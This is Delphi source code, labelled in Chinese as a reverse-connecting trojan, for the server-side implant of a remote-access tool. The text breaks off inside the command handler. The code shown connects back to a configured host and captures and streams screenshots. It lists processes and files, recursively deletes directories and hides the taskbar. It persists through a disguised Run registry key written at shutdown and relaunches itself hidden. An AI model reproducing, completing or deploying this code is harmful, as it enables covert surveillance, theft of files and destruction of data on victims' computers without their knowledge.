unit1.pas

软件介绍:反弹连接木马源码 １、编译服务端。 服务端在进行编译时会提示出错 （停在“fme.SaveToFile(stf) ”段）

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp,Tlhelp32, IdBaseComponent,
  IdComponent, IdIPWatch, MMSystem,Clipbrd,shellapi,JPEG,Registry, FileCtrl,
  WinSock, ComCtrls, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  IdMessage;

type
  TForm1 = class(TForm)
    cs: TClientSocket;
    Timer1: TTimer;
    lb1: TListBox;
    keyti: TTimer;
    M1: TMemo;
    M2: TMemo;
    DCB: TDriveComboBox;
    TSLB: TListBox;
    RECL: TTimer;
    SS: TServerSocket;
    tsreb: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure csConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure csError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure csRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure keytiTimer(Sender: TObject);
    procedure DCBChange(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure RECLTimer(Sender: TObject);
    procedure SSClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure SSClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure tsrebTimer(Sender: TObject);
    procedure exitwin(var msg:TWMQUERYENDSESSION);message WM_QUERYENDSESSION;
  private
    { Private declarations }
    LPH : String;
    procedure SJP();
    procedure SSR();
  public
    { Public declarations }
  end;


type syver = (osUnknown, os95, os95OSR2, os98, os98SE, osNT3, osNT4, os2K, osME, osXP);
const BufSize=2048;
var
  Form1: TForm1;
  DOWF:TFileStream;
  i,kks,Posi,Len,lik:Integer;
  MYst: TMemorystream;{内存流对象}
  reg:Tregistry;
  QQNO,reka,seta,setb,setc,tskey,dirn,filn,updownfile:string;
  p:Array[0..1023] of byte; 

  Lsize:Longint;
  jpgs:TMemoryStream;
  fsRecv:TFileStream;
  JORF,spas:integer;
  Fextfi,upfina,T11,T22,T33:string;

implementation

{$R *.dfm}

procedure TForm1.SJP();
var sendsize:longint;
    Buf:array[0..BufSize-1] of char;
begin
  if jpgs.Size =0 then SSR();
  if Lsize>BufSize then SendSize:=BufSize else SendSize:=Lsize;
  jpgs.ReadBuffer(Buf,sendsize);
  Lsize:=Lsize-SendSize;
  if Lsize=0 then jpgs.Clear;
  try
   SS.Socket.Connections[0].SendBuf (buf,sendsize);
  except
   jpgs.Clear ;
  end;
end;

procedure TForm1.SSR();
var bmps:Tbitmap;
    jpgn:Tjpegimage;
    fscn:TCanvas;
    dc:HDC;
    srct, drct: TRect;
begin
  dc:=getdc(0);
  fscn:=Tcanvas.Create;
  fscn.Handle:=dc;
  bmps:=Tbitmap.create;
  bmps.Width :=screen.Width ;
  bmps.Height :=screen.Height ;
  srct:=rect(0,0,screen.Width ,screen.Height );
  drct:= rect(0,0,screen.Width ,screen.Height);
  bmps.Canvas.CopyRect(srct,fscn,drct);
  jpgn:=Tjpegimage.Create ;
  jpgn.Assign (bmps);
  jpgn.CompressionQuality:=40;
  jpgn.SaveToStream (jpgs);
  jpgs.Position :=0;
  Lsize:=jpgs.Size;
  fscn.Free;
  bmps.Free;
  jpgn.Free ;
  ReleaseDC(0, DC);
end;

function CovFileDate(Fd:_FileTime):TDateTime;{ 转换文件的时间格式 }
var Tct:_SystemTime;
    Temp:_FileTime;
begin
  FileTimeToLocalFileTime(Fd,Temp);
  FileTimeToSystemTime(Temp,Tct);
  CovFileDate:=SystemTimeToDateTime(Tct);
end;

procedure GetFileTime(const Tf:string);{ 获取文件时间，Tf表示目标文件路径和名称 }
const Model='yyyy/mm/dd,hh:mm:ss'; { 设定时间格式 }
var Tp:TSearchRec; { 申明Tp为一个查找记录 }
begin
  FindFirst(Tf,faAnyFile,Tp); { 查找目标文件 }
  T11:=FormatDateTime(Model,CovFileDate(Tp.FindData.ftCreationTime));{ 返回文件的创建时间 }
  T22:=FormatDateTime(Model,CovFileDate(Tp.FindData.ftLastWriteTime));{ 返回文件的修改时间 }
  T33:=FormatDateTime(Model,Now);{ 返回文件的当前访问时间 }
  FindClose(Tp);
end;

function ipdd():string;
var wda: TWSAData;
    s: array[0..128] of char;
begin
     WSAStartup(MAKEWORD(1, 1), wda);
     GetHostName(@s, 128);
     result :=iNet_ntoa(PInAddr(GetHostByName(@s)^.h_addr_list^)^);
end;

function remall(dir:string):boolean;
var sr:tsearchrec;
    SFI:string;
begin
   if dir[length(dir)]<>'\' then dir:=dir+'\';
   SFI:=dir+'*.*';
   if findfirst(SFI,faanyfile,sr)=0 then
    begin
     repeat
      begin
       if (sr.Name ='.') or (sr.Name ='..') then continue;
       if sr.Attr  and fadirectory<>0 then
        begin
         if not remall(dir+sr.name) then result:=false;
        end
       else deletefile(dir+sr.Name);
      end
    until findnext(sr)<>0;
     findclose(sr);
    end;
    if removedir(dir) then result:=true
    else result:=false;
end;

function fdir(dir:string):string;
var  sr: TSearchRec;
     sdir,fiex:string;
     fisu:integer;
begin
 fisu:=0;
 if dir[length(dir)]<>'\' then dir:=dir+'\';
   sdir:=dir+'*.*';
   if findfirst(sdir,faanyfile,sr)=0 then
    begin
     repeat
       begin
        if (sr.Name ='.') or (sr.Name ='..') then continue;
        if sr.Attr  and fadirectory<>0 then
          dirn:=dirn+sr.Name+'/'
        else
         begin
          fiex:=uppercase(copy(sr.Name,length(sr.Name)-2,3));
          if Fextfi='*.*' then
           begin
            if (fiex='EXE') OR (fiex='COM') OR
               (fiex='RAR') OR (fiex='ZIP') OR
               (fiex='TXT') OR (fiex='WPS') OR
               (fiex='DOC') OR (fiex='AVI') OR
               (fiex='RMA') OR (fiex='DAT') OR
               (fiex='MPE') OR (fiex='MP3') OR
               (fiex='WAV') OR (fiex='SWF') OR
               (fiex='GIF') OR (fiex='BMP') OR
               (fiex='JPG') OR (fiex='HTM') OR
               (fiex='GHO') OR (fiex='INI') THEN
               begin
                 filn:=filn+sr.Name+'/';
                 fisu:=fisu+1;
                 if fisu=200 then exit;
               end;
           end
          else
           begin
             if fiex=copy(Fextfi,3,3) then
               begin
                 filn:=filn+sr.Name+'/';
                 fisu:=fisu+1;
                 if fisu=200 then exit;
               end;
           end;
         end;
       end
     until
       findnext(sr)<>0;
       findclose(sr);
     end;
end;

function tohexstr(value:byte): string;
var count :integer;//注册表二进制写入
    howfar,tmp,andresul:word;
    output :string;
begin
    Howfar:=15;
    Output:='';
    tmp:=value;
    For count:=1 To 2 Do
     Begin
      AndResul:=tmp AND Howfar;
      case AndResul Of
       0 : OutPut:='0'+Output;
       1 : OutPut:='1'+Output;
       2 : OutPut:='2'+Output;
       3 : OutPut:='3'+Output;
       4 : OutPut:='4'+Output;
       5 : OutPut:='5'+Output;
       6 : OutPut:='6'+Output;
       7 : OutPut:='7'+Output;
       8 : OutPut:='8'+Output;
       9 : OutPut:='9'+Output;
       10 : OutPut:='A'+Output;
       11 : OutPut:='B'+Output;
       12 : OutPut:='C'+Output;
       13 : OutPut:='D'+Output;
       14 : OutPut:='E'+Output;
       15 : OutPut:='F'+Output;
      End;
      tmp:=tmp DIV 16;
     End;
  result := output;
end;

function GetOS :syver;
var OS :TOSVersionInfo;
begin
  ZeroMemory(@OS,SizeOf(OS));
  OS.dwOSVersionInfoSize:=SizeOf(OS);
  GetVersionEx(OS);
  Result:=osUnknown;
  if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then
   begin
    case OS.dwMajorVersion of
3: Result:=osNT3;
4: Result:=osNT4;
5: Result:=os2K;
    end;
    if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
      Result:=osXP;
    end else begin
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
     Result:=os95;
    if (Trim(OS.szCSDVersion)='B') then
     Result:=os95OSR2;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
     Result:=os98;
    if (Trim(OS.szCSDVersion)='A') then
     Result:=os98SE;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
     Result:=osME;
    end;
end;

function TurnScreenSaverOn : bool;
var  b : bool;
begin//屏保
  result := false;
  if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
  if not b then exit;
  PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
  result := true;
end;

function GetWinDir():String;
var ResultDir:Array[1..64] of char;
    i:integer;
begin//得到系统目录
  for i:=1 to 64 do resultDir[i]:=char($20);
  GetEnvironmentVariable('windir',@resultDir,64);
  Result:=resultDir;
end;


function GetDriveSpecies(Drive: string): string;
begin
  case GetDriveType(PChar(Drive)) of//获得Drive所对应的磁盘驱动器信息
    0:               Result := '9';
    1:               Result := '0';
    DRIVE_REMOVABLE: Result := '1';//软盘驱动器';
    DRIVE_FIXED :    Result := '2';//硬盘驱动器';
    DRIVE_REMOTE:    Result := '3';//网络驱动器';
    DRIVE_CDROM:     Result := '4';//光盘驱动器';
    DRIVE_RAMDISK:   Result := '5';//内存虚拟盘';
  end;
end;

function  SetPrivilege(sPrivilegeName:string;bEnabled:boolean):boolean;
var//关机
   TP,TPPre:TTokenPrivileges;
   Token:THandle;  
   dwLength:DWORD;  
begin  
   result  :=  false;  
   OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES  or  TOKEN_QUERY,Token);
   try  
   TP.PrivilegeCount  :=  1;  
   if  LookupPrivilegeValue(nil,PChar(sPrivilegeName),TP.Privileges[0].LUID)  then  
   begin  
       if  bEnabled  then  
           TP.Privileges[0].Attributes  :=  SE_PRIVILEGE_ENABLED  
       else  
           TP.Privileges[0].Attributes  :=  0;
       dwLength  :=  0;  
       Result  :=  AdjustTokenPrivileges(Token,false,TP,sizeof(TPPre),TPPre,dwLength);  
   end;  
   finally  
       CloseHandle(Token);  
   end;  
end;

procedure hideTaskbar; //隐藏状态栏
var wndHandle : THandle;
    wndClass : array[0..50] of Char;
begin
    StrPCopy(@wndClass[0],'Shell_TrayWnd');
    wndHandle := FindWindow(@wndClass[0],nil);
    ShowWindow(wndHandle,SW_HIDE);
End;

procedure showTaskbar; //显示状态栏
var  wndHandle : THandle;
     wndClass : array[0..50] of Char;
begin
     StrPCopy(@wndClass[0],'Shell_TrayWnd');
     wndHandle := FindWindow(@wndClass[0],nil);
     ShowWindow(wndHandle,SW_RESTORE);
end;

procedure retu();
begin//发送命令成功的消息
  form1.cs.Socket.SendText('001');
end;

procedure sx(); //结束进程子程序
var
  Lppe: TProcessEntry32;
  Found: boolean;
  Handle: THandle;
  s:string;
begin
  form1.lb1.clear;
  Handle:= CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); //设定快照集的名柄
  lppe.dwSize:=Sizeof(TProcessEntry32);//找到第一个进程;
  Found:= Process32First(Handle,Lppe); //这一行非常重要
  while Found do
  begin
    s:=Lppe.szExeFile;
    form1.lb1.items.Add(s);
    Found:= Process32Next(Handle,Lppe);  //继续找下一个进程
  end;
end;

procedure TForm1.exitwin(var msg: TWMQUERYENDSESSION);
begin //得到关机消息！
  reg:=tregistry.Create ;
  reg.RootKey :=HKEY_LOCAL_MACHINE;
  IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
    reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
  reg.Free;
  application.Terminate;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 lik:=lik+1;
 if lik=1200 then
 begin
    Winexec(pchar(application.Exename),sw_hide);
    application.Terminate;
 end;
 cs.Host :=seta;
 cs.Port :=strtoint(setb);
 cs.Active :=true;
end;

procedure TForm1.csConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  timer1.Enabled :=false;
  form1.Caption :='连接';
  CS.Socket.SendText('000'+ ipdd());
end;

procedure TForm1.csError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode:=0;
end;

procedure TForm1.csRead(Sender: TObject; Socket: TCustomWinSocket);
var strr,go,tem,DOSN,DOSC,ST1,bgba,usna,f1,f2,S,S1,osVersion, REGVAL,RERT,RERV:string;
    lh,Size, sunum,L,i,mx,my,mk,temp:integer;
    a:TRect;
    Found: BOOL;
    tit,speak,Name:PChar;
    htaskbar,st,hwnd1,hwnd2:hwnd;
    Lppe: TProcessEntry32;
    HSnapshot, HProcess,IEwin,hDesktop: THandle;
    os:syver;
    dwna : Dword;
    MyBmp: TBitmap;
    rec:tsearchrec;
    Myjpg: TJpegimage;
    memst: TMemoryStatus;
    ld : DWORD;
    fst:TFileStream;
    buf,p1:pointer;
    src:TSearchRec;
    REIOF:TRegDataInfo;
    REKN,REVN:TStringList;
    TheBuffer : array[0..1024] of byte;

begin//收消息
      lh:=Socket.ReceiveLength;
      GetMem(buf,lh);
      Socket.ReceiveBuf(buf^,lh);
      strr:=TRIM(StrPas(PChar(buf)));
      strr:=Copy(strr,1,lh);

     if (strr='351') or (strr='359') or (strr='373') or (strr='378') then exit;

     go:= copy(strr,1,3);
     form1.Caption :=strr;

     if copy(go,1,1)='3' then